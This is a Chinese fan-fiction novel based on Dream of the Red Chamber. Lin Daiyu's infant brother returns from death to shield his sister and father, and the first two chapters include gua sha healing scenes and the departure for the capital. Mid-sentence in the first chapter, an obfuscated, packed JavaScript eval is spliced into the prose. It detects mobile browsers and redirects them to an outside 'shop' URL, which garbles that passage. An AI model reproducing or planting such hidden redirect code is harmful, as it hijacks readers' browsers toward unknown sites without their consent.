《[红楼]潇湘竹韵》 1. 痴魂归旧骸 却说那西方灵河岸上,三生石畔,有绛珠仙草一株,受神瑛侍者日以甘露灌溉,得换人形,修成个女体。这因果缠绵,便引出一段怀金悼玉的《红楼梦》来。 世人只知那绛珠仙子下世还泪,却不知她身侧尚有一缕伴生幽魄,渺渺冥冥,竟也随入红尘,演出一场“双生还债”的悲音。 这正是:绛珠原本是前身,谁道旁枝亦断魂。血泪浸透三生石,痴儿犹自补天痕。 那太虚幻境深处,孽海情天之间,警幻仙姑正于“薄命司”中检阅命册。 忽闻得一阵幽咽风声,竟不似寻常仙乐缥缈,倒像那九泉之下的呜咽。仙姑蹙眉抬首,但见“金陵十二钗正册”架上,黛玉那一页无风自动,簌簌作响。 “奇了。” 警幻移步近前,玉指轻拂册页,却觉指尖一片湿凉——那墨字“堪怜咏絮才”的“怜”字上,竟无端渗出水渍,细细看去,哪里是水?分明是血泪交融,将“怜”字染得猩红刺目。 更奇的是,这血泪不止一处,竟顺着纸缘缓缓下淌,在页脚空白处聚成一滩,渐渐晕染出几行原册未有之字迹: “灵河畔,影随形,痴魄暗结并蒂茎。甘露债未了,又添心头刃,双生双死总关情,到头来,血作泪,泪化冰,寒塘空对月伶仃。” 这判词墨迹淋漓,字字如杜鹃泣血,偏偏写到末句“月伶仃”三字,那“仃”字最后一竖竟戛然而断,仿佛笔者力竭而亡。 警幻凝眸细看,见那断笔处墨渍蔓延,隐约要现出个名姓来。她心下已猜着八九分,轻叹一声:“痴儿,痴儿!甘露之债尚未偿清,你又何苦再添一重血债?” 话音未落,那断笔处墨痕猛地一颤,竟真的浮出三个小字——“林长生”。 只是这三字淡如轻烟,转瞬便要散去。 警幻急欲再看,忽听“嘶啦”一声轻响,册页边缘无端起了一道细裂,恰恰将那“生”字从中劈开,一半留在纸上,一半已碎作齑粉。 “天意如此……” 警幻默然良久,方将那页轻轻合上。 转身时,裙裾拂过案几,带倒了琉璃盏中一枝绛珠仙草的化身。 那草落入孽海情天的万丈红尘镜中,竟不见下沉,反在水面漾开两道涟漪。 一道是惯常的泪痕,另一道却是殷红血色,两相交缠,久久不散。 窗外,不知何处传来渺渺歌声: “一个是阆苑仙葩,一个是美玉无瑕。若说没奇缘,今生偏又遇着他;若说有奇缘,如何心事终虚化?…想眼中能有多少泪珠儿,怎禁得秋流到冬尽,春流到夏!” 歌声到此本该尽了,偏又续了两句,那声气却是个童音: “想心头能有多少血珠儿,怎禁得前世流到今生,今生又流到来世?” 警幻闻之,手中玉如意“铛”地落在云石地上。 她知这因果已非她所能左右,唯有闭目合十,轻诵一声:“痴儿,你既要逆天改命,那便看看你这缕残魂,如何在这命定的千红一哭、万艳同悲中,寻一条生路罢。” 话说江南扬州,巡盐御史林如海府邸。 时值仲春,本该是“烟花三月下扬州”的好时节,林府内却笼罩着一片愁云惨雾。 偏院西厢,药气弥漫,混杂着佛前檀香的清苦,丝丝缕缕,缠绕在雕花窗棂之间。 三岁的黛玉立在紫檀屏风外,一身素白绫袄,更衬得小脸儿惨白如纸。 她紧紧攥着袖口,指甲掐进掌心,却觉不出疼 里头那微弱如游丝的呼吸声,已断断续续停了三回了。 每一次,她都以为那襁褓中的人儿真要去了,可那气息偏偏又续上一点,吊着人心,上不得,下不得。 “弟弟……”她低低唤了一声,声音几乎听不见。 里头忽然传来一阵剧烈的咳嗽,那声音空洞。 奶娘王氏掀帘出来,眼睛红肿:“姑娘,哥儿怕是不中用了……老爷已吩咐预备后事了。” 黛玉身子一晃,紫鹃忙扶住。 她却推开,一步步挪到屏风边,隔着朦胧的蝉翼纱往里看。 只见那小小的楠木摇床里,弟弟长生裹在锦被中,只露出一张青灰的脸。 嘴唇已无血色,唯有长长的睫毛,在眼睑下投出两弯阴影,倒像是睡着了。 她忽然想起昨日弟弟最后清醒时,用冰凉的小手抓住她的指头,含混不清地说:“姐姐……莫哭……” 那声音软糯,却不知怎的,让她心头一颤,仿佛在哪里听过似的。 “姑娘,您去歇歇罢。”王嬷嬷来搀。 黛玉不动,只从袖中抽出一条旧帕子,帕角绣着几叶兰草,已洗得发白。 她将帕子轻轻塞进摇床边缘,贴着弟弟的小手。 那手冰凉,触之如寒玉。 “你带着这个…”她声音哽咽,“黄泉路上,也好有个念想……” 话音未落,那冰凉的手指竟微微一动。 众人还道是眼花了,却见那只小手缓缓收紧,竟将那帕子攥住了。 摇床里传来一声极轻、极哑的声音。 “活了!哥儿活了!” 满屋哗然。 林如海跌跌撞撞冲进来,扑到床前,只见那襁褓中的婴儿,竟缓缓睁开了眼。 那双眼,让林如海浑身一震。 寻常婴孩的眼,是混沌的、清澈的、不谙世事的。 可长生这双眼,却像两口深不见底的古井,里头映着烛光,却照不进深处。 那瞳孔里有一种说不清道明的东西,是悲悯?是沧桑?还是某种了然一切的疲惫? “长生……”林如海颤声唤。 婴儿的视线缓缓移动,掠过父亲涕泪纵横的脸,掠过一屋子惊惶的下人,最后定在了屏风边那个白衣小人儿身上。 四目相对。 黛玉睁大眼睛。 弟弟这双眼…她见过。 在哪里见过?梦里?前世?说不清。 只是那目光沉沉承载了千言万语,却又一个字也说不出。 然后,她看见弟弟的唇角极其缓慢地扯出苦笑。 那笑容一闪即逝,快得让她疑心是自己花了眼。 再细看时,婴儿已闭上眼,呼吸却渐渐平稳下来,只是那攥着帕子的小手,死死不肯松开。 长生其实没有睡。 他只是闭着眼,在一片黑暗中感受这具躯壳的孱弱。每一次呼吸都疼。 前世夭折停尸时的冰冷和痛苦竟也随着魂魄一并回来了。 前世…他咀嚼着这两个字,心头泛起苦涩。 他是林长生,又不全是。 那个三岁夭折的婴孩,魂魄归了地府,本该饮下孟婆汤,忘却前尘。 可他在奈何桥头,听见了姐姐的哭声。 那哭声隔着阴阳两界,飘飘渺渺在他魂魄上颤抖。 他回头望去,只见三生石上映出黛玉焚稿的画面: 潇湘馆里,那个瘦得只剩皮骨头的女子,将诗稿一页页投入火盆,火光映着她惨白的脸。她没有哭,只是眼神空空的,像两口枯井。 “姐姐……”他想喊,却发不出声。 他看见宝玉大婚的红烛,看见黛玉气绝时直呼“宝玉你好……”,看见紫鹃哭得昏死过去,看见贾母捶胸顿足,说“是我害了这丫头”…… 他想冲过去,想抱住她,想告诉她“别哭,别哭,我在这里”。 可阴阳隔路,他只是一缕游魂,什么都做不了。 于是他在奈何桥头坐了不知多少年月,看着一批批魂魄饮汤过桥,自己却固执地守着那一点执念。 直到有一日,警幻仙姑路过,见他魂魄将散不散,问明缘由,长叹一声:“绛珠的泪债尚未还清,你倒要添一笔血债么?” 他伏地叩首:“不求同生,但求能替姐姐受一分苦。” 警幻沉默良久,方道:“你可知,逆天改命,是要付出代价的?” “魂飞魄散,亦在所不惜。” “罢了……” 警幻一挥云袖,“你既如此痴缠,我便许你重入那副旧骸。只是你不可直言天机,你改得了一时,改不了一世,该来的劫数终究会来,只是换种模样……” 仙姑深深看他一眼:“你每改一桩事,便要折损自身一分寿数。待到寿数耗尽,便是大罗金仙也救不得你。如此,可还愿去?” 他点头,没有半分犹豫。 于是魂魄被一阵狂风卷起,飘飘荡荡,不知行了多久,再睁眼时,已回到了这具三岁奄奄一息的身躯里。 “咳咳……”长生忍不住又咳起来,这回却咳出一口黑血,染在锦被上。 “哥儿!”奶娘惊呼。 长生摆摆手,却连摆手的力气都没有,他感受着这具身体的极限,默默计算:按前世,他该是今日夭折。如今强留一口气,已是逆了第一桩命。 那代价是什么,是无穷尽的病痛和虚弱吗? 正想着,外间传来细碎的脚步声,是那个他思念了两世的声音: “弟弟可好些了?” 是黛玉。 长生心头一酸,几乎要落下泪来。他强忍着,缓缓睁开眼,看见姐姐小心翼翼地凑到床边。三日不见,她又清减了些,下巴尖尖的,眼睛显得更大,里头盛满了担忧。 “姐姐……”他开口,声音哑得像公鸭嗓。 黛玉眼眶顿时红了,忙接过紫鹃递来的温水,用银匙一点点喂他。 长生顺从地喝着,眼睛直勾勾看着她。 他要把这张脸刻进魂魄里,哪怕再死一次,也绝不忘记。 “弟弟总看着我作甚?”黛玉被他看得有些窘。 长生不答,只伸出小手,轻轻碰了碰她的脸颊。 那触感温温的,软软的,是活生生的姐姐,不是梦中那个焚稿的幻影。 “姐姐……”他又唤了一声,“莫哭。” 黛玉一怔:“我……我没哭。” “以后也别哭。”长生一字一句说得极慢,极认真,“眼泪……苦。” 黛玉的眼泪,到底还是落了下来,正滴在他手背上,滚烫。 长生看着那滴泪,心头涌起一股巨大的悲恸。 前世,姐姐就是流干了这样的泪,才香消玉殒的。 这一世,他要这些泪,一滴都不许流。 可他忽然又想起警幻的话,该来的劫数终究会来,只是换种模样。 如果…他不让姐姐流泪,这泪债,又要谁来还? 一个可怕的念头,渐渐浮上心头。 长生这一“活”,又拖了月余。 林如海遍请名医,药灌下去不知多少,却总不见大好。人倒是渐渐有了精神,只是那双眼,看人时总带着与年龄不符的沉静,教人心里发毛。 这日天光正好,黛玉在长生病榻边绣一方帕子。 她绣的是几竿竹子,疏疏落落,很有郑板桥的意趣。长生靠在软枕上,静静看着。 阳光透过茜纱窗,在姐姐脸上镀了一层柔光,她低垂的睫毛长而密,在眼睑下投出小扇子似的影。 岁月若能永远停在这一刻,该多好。 长生正想着,目光忽然落在黛玉的帕子上。 他心头一震。 前世,姐姐也有过这样一方帕子,后来赠给了宝玉。宝玉将它贴身珍藏,直到出家前才焚化。 “姐姐,”他忽然开口,声音虚弱,“这手帕里的竹子,怎地只有三节?” 黛玉手下一顿,针尖险些扎了手。 她抬头,有些讶异:“长生怎知姐姐绣的是竹子?” 那绣样才起了个头,不过几道墨线,寻常人绝看不出是什么。 长生自知失言,忙垂下眼:“猜的。” 黛玉将信将疑,又听长生问:“竹子不都是节节高么?姐姐绣三节,是取‘三生万物’之意?” 这话从一个三岁孩童口中说出,实在骇人。 黛玉盯着弟弟看了半晌,忽然觉得这张稚嫩的脸皮下藏着另一个灵魂。 她放下绣绷,轻声问:“长生,你…你是不是知道些什么?” 长生心头一紧。 警幻的告诫在耳边回响: 不可直言天机,否则立时毙命。 他抿了抿唇,剧烈咳嗽起来,小脸憋得通红。 黛玉慌了,忙替他拍背,又喂水。 好容易平复了,长生靠在枕上,气息微弱地说:“长生只是…梦见一些事。” “梦见什么?” “梦见……”长生目光飘向窗外,梨花开得正盛,如雪如云,“梦见姐姐站在一片竹林中,一直哭一直哭。” 黛玉的手,微微颤抖起来。 她前几日,确实做过这样一个梦。 梦里她在潇湘馆的竹林中,哭得不能自已,醒来时,枕巾湿了一大片。 这事她从未对人说起,长生如何得知? 难道……真是姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16886362|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟连心? “姐姐,”长生握住她的手,小手冰凉,攥得极紧,“答应长生,以后无论遇到什么事,都莫要哭。眼泪流多了,伤身。” 黛玉眼眶发热,强笑道:“傻孩子,人哪有不哭的?” “别人可以,”长生盯着她的眼,“姐姐不行。” 黛玉心头一凛。 还未及细问,外间传来脚步声,紫鹃端着药进来了:“姑娘,哥儿该用药了。” 药气苦得呛人,长生却眉头都不皱,接过药碗一饮而尽。 放下碗时,他的手微微一抖,几滴药汁洒在榻边小几的一张纸上。 那纸是林如海昨日练字留下的废稿,上头写着“玉不琢,不成器”几个字。 药汁滴在“玉”字上,墨迹顿时晕开,模糊成一团污渍。 长生看着那个渐渐化开的“玉”字,眼神暗了暗。 玉,宝玉。 那个衔玉而生的表哥,此刻还在金陵荣国府中被众人捧在手心罢?他还不知自己将来会遇见一个林妹妹,会与她共读《西厢》,会赠她旧帕,会许下“你放心”的誓言,却终究…负了她。 长生藏在被子下的手,缓缓握紧。 这一世,他绝不容许那样的事再发生。 哪怕要逆天改命,哪怕要折损寿数,哪怕…要他用这条捡回来的命去换。 “弟弟?”黛玉见他出神,轻声唤。 长生回过神,朝她绽出极淡的笑:“姐姐,我有些乏了。” 黛玉替他掖好被角,柔声道:“那你歇着,姐姐在这儿陪你。” 长生闭上眼,却毫无睡意。 他在心里默默盘算:按前世,母亲贾敏病逝就在明年,之后父亲林如海会送姐姐进京,寄居荣国府。 那是所有悲剧的开始。 他要阻止。 可怎么阻止? 他如今只是个三岁病儿,连这间屋子都出不去。 直接告诉父亲“你快死了”? 那是泄露天机,立时毙命。 暗示?父亲只会当他是童言稚语。 正思忖间,忽听外间传来父亲的脚步声,还有另一个陌生的声音。 “……扬州城东那位张太医,说是曾治过类似的症候。只是他如今云游去了,不知何时能归。” “无论等多久,都要等。”林如海的声音沙哑疲惫,“我这儿子……是敏儿拼了命生下的,我不能……” 话未说完,已哽咽。 长生心头一酸。 父亲林如海,前世在他夭折后不过两年,也随母亲去了。留下姐姐孤零零一人,寄人篱下,看尽眼色。 这一世,他要保住父亲。 可怎么保? 病是心疾带来的弱症,纵是华佗再世,怕也难救。 除非…除非能找到那传说中的… 长生猛地睁眼。 他想起来了。 前世魂魄游荡时,曾听阴司鬼差闲聊,说扬州城外的仁心堂,里面的大夫多的是善于调解气郁之症。 仁心堂 。 长生眼中复杂。 是夜,月华如水。 长生等一屋子人都睡熟了,才悄悄睁开眼。 他轻手轻脚爬下床,这三岁的身躯,虚弱得厉害,只这么个动作,已累得气喘吁吁。 他扶着墙,一步步挪到窗前,茜纱窗半开着,夜风送进梨花的清甜。 窗外庭院中,那株老梨树开得正盛,月光下,花瓣如雪,纷纷扬扬。 长生静静看了片刻,对着月亮缓缓跪了下来。 他跪得艰难,膝盖磕在青砖地上,生疼。 可他眉都不皱,只双手合十,对着那轮清冷的月,一字一句,低低起誓: “皇天在上,厚土在下。信男林长生,今以残魂之身,重入红尘。不求富贵荣华,不求长命百岁,但求——” 他顿了顿,声音更轻,更坚定: “一求母亲贾敏,能在天之灵,来世再聚。” “二求父亲林如海,官场顺遂,安享天年。” “三求姐姐黛玉,此生不再流泪,觅得良人,白首同心。” “三愿林长生,此生与父亲姐姐再续亲缘。在此,长生愿以自身寿数、福报为抵。每改一桩命,便折寿一纪;每逆一次天,便削福三分。若违此誓,魂飞魄散,永世不得超生。” 言毕,他重重叩了三个头。 抬起头时,额上已是一片青紫,他却笑了,笑着笑着眼泪却掉了下来。 原来三岁的身体,泪腺如此发达。 他抬手抹去,那泪却越抹越多,也罢,这一世的泪,就由他流干罢。 姐姐的眼里,只该有笑。 正此时,窗外忽然刮起一阵怪风,那梨树被吹得哗啦作响,花瓣漫天飞舞,有几片飘进窗来,落在长生脸上,凉丝丝的。 风里,隐约送来一声叹息。 那叹息极轻,极远,像是从九天之上传来,又像是从十八层地狱之下浮起。 长生浑身一震,猛地抬头,却只见月华皎皎,梨花如雪,哪有什么人影? 想来是警幻仙姑听见了。 长生扶着墙,慢慢站起身,膝盖疼得钻心,他却浑不在意,他走到妆台前,那是母亲贾敏的旧物,母亲去后,父亲不许人动,一直原样摆着。 妆台上有一面菱花镜,映出他此刻的模样:三岁的孩童,脸色苍白,额上带伤,明亮红肿的眼睛。 长生看着镜中的自己,缓缓抬手,抚上心口。 那里贴身戴着一块玉,不是宝玉那种通灵宝玉,只是寻常的羊脂白玉,雕成个长命锁的形状。 这是母亲临终前,亲手给他戴上的。 玉是暖的,贴在心口,仿佛母亲的手,还轻轻按在那里。 “母亲,”长生对着镜子低声说,“这一世,长生会保护好姐姐,保护好父亲,保护好林家。” “您放心。” 镜中的孩童眼中充斥着年龄极不相称的早慧。 窗外,月已西斜,远处隐约传来梆子声。 长生回到床上,盖好被子,闭上眼。 就在他跪地立誓的那一刻,千里之外的金陵荣国府中,那个衔玉而生的少年,正从一场大梦中惊醒。 宝玉坐在床上,冷汗涔涔。 他梦见一株绛珠草,草畔生着另一株细弱的藤蔓。 “林妹妹……”他喃喃道,心头一阵绞痛。 2. 仁心堂稚子解父忧 且说那林长生在月下立誓之后,身子竟一日好似一日。虽仍是孱弱,咳疾却渐轻了,脸上也见了些血色。 林如海只道是苍天垂怜,日日焚香祷祝。 黛玉更将弟弟看作命根子,汤药饮食,皆要亲尝了温度,方肯喂与他。 这日清晨,长生正倚在窗下看姐姐临帖,听得外间一阵压抑的咳嗽声,那声音闷在胸腔里,沉甸甸的,听着便教人揪心。 他搁下手中的《千字文》,轻声问:“姐姐,爹爹这几日咳得越发重了?” 黛玉笔尖一顿,墨迹便在宣纸上洇开一小团。 她轻轻叹了口气,眉间锁着愁云:“自母亲去后,爹爹便落了这心口疼的毛病。请了多少大夫,吃了多少剂药,总不见根除。前儿夜里,我又听见他在书房咳嗽了半宿……”说着,眼圈便红了。 长生垂下眼帘,小手在袖中慢慢攥紧。 是了,他竟忘了这一节。 前世母亲贾敏早逝,父亲林如海悲痛过度,肝气郁结,又兼盐政事务繁剧,常年积劳,竟落下了心绞痛的症候。这病时好时坏,拖了几年,终是在他送黛玉进京后不久,便郁郁而终。 林家就此败落,那万贯家财竟成了填补贾府窟窿的集资——纵有金山银山,也护不住林黛玉被吃绝户。 他前世魂魄游荡时,曾听阴司鬼差吃酒闲话,说扬州城外有个“仁心堂”,里头的老大夫最擅调治这气郁之症。只是那医馆门庭破败,又专做些刮痧放血的粗笨法子,世人多视为江湖术士,不肯信他。 长生记得那鬼差说得活灵活现:“那老头子一手‘挑草’的绝技,能通经络,解郁结,多少心腹绞痛、胀闷欲绝的痧证,几板子下去便松快了。可惜哟,世人眼拙,只当是邪术歪道。” “挑草”二字,乃是刮痧的别名,《世医得效方》中早有记述:“心腹绞痛,冷汗出,胀闷欲绝,俗谓搅肠痧。” 这症候,与父亲如今的情状,岂不正合? 长生心思电转,已有计较。 他抬起脸,扯了扯黛玉的衣袖,作懵懂状:“姐姐莫哭。长生昨夜……做了个奇梦呢。” “哦?梦见什么了?”黛玉忙拭了泪,强笑道。 “梦见个白胡子老神仙,乘着朵紫云,落在咱们家后园那株老梅树下。” 长生眨着眼,声音又软又糯,“老神仙对我说,扬州城外有座破庙,庙里供着个专治心口疼的菩萨。若有人诚心带桂花糕去供了,菩萨便肯赐下良方。” 黛玉闻言,只当是孩童呓语,抚着他头发道:“弟弟定是日间听爹爹咳嗽,心里记挂,才做这梦。” 话虽如此,心下却不由一动。 谁知隔了几日,林如海在衙门里议事时,心绞痛发作,冷汗涔涔而下,面色金纸一般,几乎昏厥在公座上。众属官慌作一团,七手八脚抬回府来。 请来的大夫诊了脉,都摇头叹气,说“林大人这郁结已入膏肓,非药石可医矣”。 黛玉守在父亲榻前,眼泪断了线的珠子般往下掉。长生默默立在姐姐身后,看着父亲灰败的面容,心中绞痛,更甚于前世的病苦。 他忽然上前,扑在榻边,握着林如海冰凉的手,仰起小脸,一字一句道:“爹爹,长生梦见菩萨了。菩萨说,城外有救命的法子。” 林如海气息微弱,勉强睁眼看他,长生满眼澄澈与急切,竟让他恍惚了一瞬。 他想起这儿子自“死而复生”后,便时常有些异于常人的言语见识。莫非…真是天意? 听完长生的话过后,林如海只觉得好笑,拿着桂花糕去请大夫?前所未闻。 下一秒。 “去……”林如海闭了闭眼,哑着嗓子对管家林忠道,“照长生说的,备桂花糕,出城……去寻。” 林忠领命,带着几个得力小厮,匆匆出了城,寻了大半日,眼见日头西斜,哪有什么破庙? 正灰心时,却见荒草丛中一段残墙,墙内歪斜着一块木匾,上书“仁心堂”三字,漆皮剥落,字迹模糊,透着一股子寒酸气。 林忠心下一横,推门而入,只见院里荒草没膝,堂屋破败,供着一尊积满灰尘的药王像。 一个须发皆白、衣衫褴褛的老者,正蹲在檐下,用个石臼慢吞吞捣着草药,见人来头也不抬:“今日不看诊,请回罢。” “老先生,”林忠忙作揖,“我家老爷病重,听闻老先生有妙手,特来相请。” 老者冷笑一声,言语间满是讥讽:“妙手?老夫只会些刮痧放血的粗笨活儿,贵人金贵身子,怕是受不起。” 林忠想起长生嘱咐,忙奉上那包王记桂花糕,恭恭敬敬放在药王像前:“此乃我家小公子梦得菩萨指点,说此物可表诚心。万望先生慈悲,救我家老爷一命。” 那老者闻言,手中石杵停了。 他缓缓抬头,目光在那包桂花糕上停留良久,又看向林忠焦急的神色,终是长叹一声:“罢了,也是孽缘。” 起身拍去身上草屑,取了墙角一个积灰的木药箱,“带路罢。” 这一去,果然见了奇效。 老者为林如海诊脉后,又看了先前那些温补方子,连连摇头:“庸医误人!大人这是肝气郁结,血瘀脉络。用这般温补药材,如同抱薪救火,越补越滞。” 说罢,让林如海褪去上衣,取出一块光滑的牛角刮板,又点了一盏油灯,将刮板在火上燎了燎。 “老先生,这是……”林如海略有迟疑。 “刮痧。”老者言简意赅道,“大人这病,根子在郁结。今日需下重手,通开瘀阻,方有转机。忍着些。” 话音未落,刮板已落在林如海后背心俞穴上。 林如海闷哼一声,只觉一道火辣辣的灼痛窜起,随即是难以言喻的酸胀麻重。 那老者手法极稳极快,顺着膀胱经一路刮下,所过之处,皮肤迅速泛起一片深紫红的痧痕,看着骇人。 刮了约莫一刻钟,又在林如海十指指尖、两耳耳尖各刺一针,挤出数滴浓黑的血珠。 说来也奇,这一番折腾下来,林如海虽浑身汗湿,虚脱无力,但胸中那团堵了多年的滞闷之气,竟真散了大半,呼吸也畅快起来。 老者又开了一剂方子,尽是柴胡、香附、枳壳、丹参等疏肝理气活血化瘀药,与先前大夫所开截然不同。 如此调理了月余,林如海的心绞痛发作日稀,面色渐见红润,精神头也足了。 他心中感佩,封了重金酬谢,那老者却只取了应得的诊金,多余的一文不收,只道:“医者有缘,钱财有度。”飘然而去,再寻不见。 林如海大好了,便又操心起长生的弱症。 这日林如海对黛玉道:“那老先生手法了得,不如请他来给长生也瞧瞧?我见他刮痧通络,颇有神效,或能固本培元。” 长生在一旁听得,小脸“唰”地白了。 他前世便最怕疼,喝口苦药都要哄半天,想着那刮板落在皮肉上的滋味,便觉后背一阵发紧,正欲寻个由头躲开,却见父亲已吩咐林忠去请人了。 次日,那老者果然又至,诊了长生的脉,沉吟道:“小公子先天不足,元气孱弱,加之……心思过重,亦有郁结。刮痧可通,但需循序渐进,不可过猛。” 说罢,让长生褪了小衫,趴在软榻上。 长生咬牙闭眼,心道伸头缩头都是一刀。 那刮板甫一落下,他便是“嗷”一嗓子,痛得浑身一哆嗦。这孩童皮肉娇嫩,感觉远比成人敏锐,那火灼般的疼痛清晰异常。 老者手下不停,顺着督脉、膀胱经几条要络刮下,长生只觉背上似被钝刀寸寸凌迟,眼泪鼻涕糊了满脸,哭嚎声惊得屋檐下雀鸟扑棱棱乱飞。 “轻些!先生轻些!”黛玉在旁看得心如刀割,连声哀求。 老者面不改色:“通则不痛。小公子这郁结藏得深,不出尽,病根难除。”手下力道竟又重了两分。 待得刮完,长生已是气若游丝,整个后背一片深紫,高高肿起,煞是吓人。老者又在他指尖放了血,挤出些紫黑血珠,方才罢手。 长生瘫在榻上,连哭的力气都没了,心中懊悔不迭。 早知要受这番活罪,何苦多那句嘴! 可奇的是,这番“酷刑”过后,长生的咳疾竟真一日好似一日,夜里安睡,饭食也进得香了,只是林长生每每忆起那刮板滋味,便觉后背隐隐抽痛,暗自咬牙发誓:“再不敢妄言了!” 如此又过了大半年,林如海身子日渐康健,政务处理起来也越发得心应手。只是每每独坐书房,对着亡妻贾敏的旧物,仍不免长吁短叹,神色郁郁。 长生冷眼瞧着,心知父亲心结未解,那“仁心堂”的法子,终究只能治身,难医心伤。 转眼冬去春来,长生将满五岁。 这日,他正陪黛玉在窗下读《诗经》,读到“蓼蓼者莪,匪莪伊蒿。哀哀父母,生我劬劳”几句,黛玉的眼泪便扑簌簌落下来,打在书页上。 长生放下书,默默递过自己的绢子。 “姐姐又想母亲了?” 黛玉接过绢子,拭着泪,哽咽道:“母亲若在,见弟弟如今这般懂事,不知该多欢喜……” 话音未落,外间传来脚步声,林忠捧着一封书信进来。 “老爷,金陵荣国府老太太遣人送信来了。” 林如海接过那泥金笺封的书信,拆开看了,久久不语。烛光映着他半边脸,明明暗暗,神色复杂难言。 黛玉心中忐忑,轻声问:“爹爹,是外祖母家来信了?说什么?” 林如海将信递给她,长叹一声:“你外祖母年事已高,心中思念你母亲……如今想着你姊弟二人年幼失恃,无人依傍,信中意,是想接你们去京城,在她跟前抚养,也好全骨肉之情,慰她晚年寂寥。” 黛玉看罢信,眼泪又涌了出来。 她自幼失母,对外祖母家的印象,全来自母亲生前偶尔提及的零碎片段,既向往那份血脉亲情,又畏惧那高门深院的陌生。 如今真要去那千里之外的京城,寄人篱下,心中惶惑,难以言表。 长生在一旁静静听着,前世便是这封信将姐姐孤身一人送往贾府寄人篱下。 “爹爹,”他走到林如海面前,仰起苍白小脸,目光清亮坚定,“长生要和姐姐同去。” 林如海低头看他,眼中满是挣扎与不舍:“我儿,你年纪尚幼,身子骨又这般单薄,如何经得起长途跋涉?京师水土风气与扬州迥异,为父实在放心不下。” “正因长生体弱,才更需与姐姐同去。” 长生声音不高,“爹爹请想,姐姐一人离乡背井,去那全然陌生的所在,心中该何等凄惶?若再思念家人,忧思成疾,谁来宽慰照料?长生与姐姐血脉相连,有长生在侧,姐姐便知娘家始终有人在,心便定了。心定,则神安,病邪难侵。这还是其一。” 林如海:“……” 他见父亲凝神听着,继续道:“其二,母亲生前留下的家信曾言,外祖母家那位衔玉而生的表兄,性子最是…顽劣跳脱,不喜经书,只爱在内帏厮混。母亲叮嘱姐姐,若去贾府,需远着些。” 他看向黛玉,“姐姐,母亲是不是这般说过?” 黛玉一怔,想起母亲贾敏病中确曾拉着她的手,细细嘱咐过:“……你外祖母家那个宝玉,被惯得无法无天,最是个混世魔王。我的儿,你去了,只守着本分,莫要与那等纨绔厮混,没的玷污了咱们林家的清誉。” 她当时年幼,只懵懂记下,此刻被弟弟提起,心中那点对“表哥”模糊的好奇,顿时被疏远取代。 她轻轻点头:“母亲……确有此言。” 长生转回头,看着林如海:“爹爹您想,姐姐一介弱质孤女,在那府中,若无至亲兄弟扶持提醒,万一被那等纨绔带累了名声,如何是好?长生虽幼,也能时时提醒姐姐,守礼持重,不负母亲临终所托,不辱林家书香门楣。此其二。” 林如海闻言,心中震动。 他看着眼前不过五岁的幼子,那番话条理清晰,思虑深远,哪里像个孩童?分明是个历经世事、深谋远虑之人。 他又想起长生自“病愈”后的种种异状,那“菩萨托梦”寻得仁心堂的巧合,心中一个念头渐渐明晰——此子,恐非常人。 “长生,”林如海声音发干,缓缓问道,“你…可还‘梦’见过别的?” 长生知父亲已动疑,索性半真半假,垂下眼帘,轻声道:“长生还梦见……菩萨叹气,说林家万贯家财,若无人守护,终是镜花水月,护不住想护之人。须得至亲骨肉相互扶持,血脉相连,根不断,树方能常青。” 他抬起眼,目光澄澈,“爹爹,让长生陪姐姐去吧。长生会护姐姐周全。林家,不能散了。” 最后四字,他说得极轻,却如重锤,狠狠砸在林如海心头。是啊,自贾敏去后,他心灰意冷,只觉人生了无生趣。 可这一双儿女,是敏儿留给他最后的念想,是林家的血脉传承。 若他们再有什么闪失,他九泉之下,有何面目去见亡妻? 林如海闭上眼,良久,深吸一口气,再睁开时,眼中已是一片决然:“好。你们姐弟,同去。” “爹爹!”黛玉又喜又悲,泣不成声。 “莫哭,”林如海抚着女儿头发,沉声道,“既决定要去,便不能让人小觑了我林家的女儿。” 他转向林忠,一连串吩咐下去:“明日开库,拣上好的皮毛绸缎、古玩玉器,装足十箱。另备赤金五百两,纹银八千两,兑成京城‘阜康’票号的银票。再选四个稳妥老成的嬷嬷、八个机灵忠心的丫头,二十个得力懂事的男仆,一并跟着伺候。船只车马,一律拣最好的预备。” 他看向长生,目光深沉:“长生,你既说要护着姐姐,为父便信你。这些是你们的倚仗。记住,你们是巡盐御史林如海的儿女,是书香世家的小姐公子,无论走到哪里,都需挺直脊梁,不失风骨。” 长生郑重跪下,向父亲磕了三个头:“儿子谨记父亲教诲。” 黛玉亦随弟弟跪下。 启程那日,恰是暮春。 林府门外车马辚辚,仆从如云。林如海亲自将一双儿女送到码头。 晨风吹动黛玉鬓边碎发,她看着父亲骤然苍老了许多的容颜,泪如雨下。 林如海为女儿拭泪,哑声道:“莫哭。常写信来。待为父……待这边事务料理妥当,或去看你们。” 这话说得勉强,他自己亦知盐政繁剧,此一别,恐是经年。 他又蹲下身,看着长生,千言万语堵在喉头,最后只化作一句:“护好你姐姐,也…顾好自己。” 长生用力点头,小手紧紧握着父亲的手:“爹爹保重身体,按时服药。等长生和姐姐回来。” 登船,解缆。巨大的官船缓缓离岸,扬州城熟悉的楼阁街市,渐渐模糊成一片青灰色的轮廓。 长生扶着栏杆,望着岸上父亲久久不愿离去的身影,直到变成一个黑色的小点,最终消失在水天之际。 他转过身,回到舱中。 黛玉正对着窗外默默垂泪。 长生走过去挨着姐姐坐下,从袖中取出那卷《诗经》,轻声道:“姐姐,我们接着读诗吧。读《凯风》好不好?‘凯风自南,吹彼棘心。棘心夭夭,母氏劬劳’…” 黛玉接过书,心中的惶惧茫然被抚平了些许。 她揽过长生,姐弟二人相依在窗前,伴着欸乃桨声,轻声诵读。 船行数日,这日泊在镇江码头补给。 长生见黛玉连日闷闷,饮食少进,便道:“姐姐,听说金山寺的素斋天下闻名,景致也好。我们上去散散心,给母亲…点一盏长明灯,可好?” 黛玉闻言,心中酸楚,却也点头应了。 姐弟二人换了素净衣衫,只带了王嬷嬷和两个大丫鬟,乘小轿往山上去。 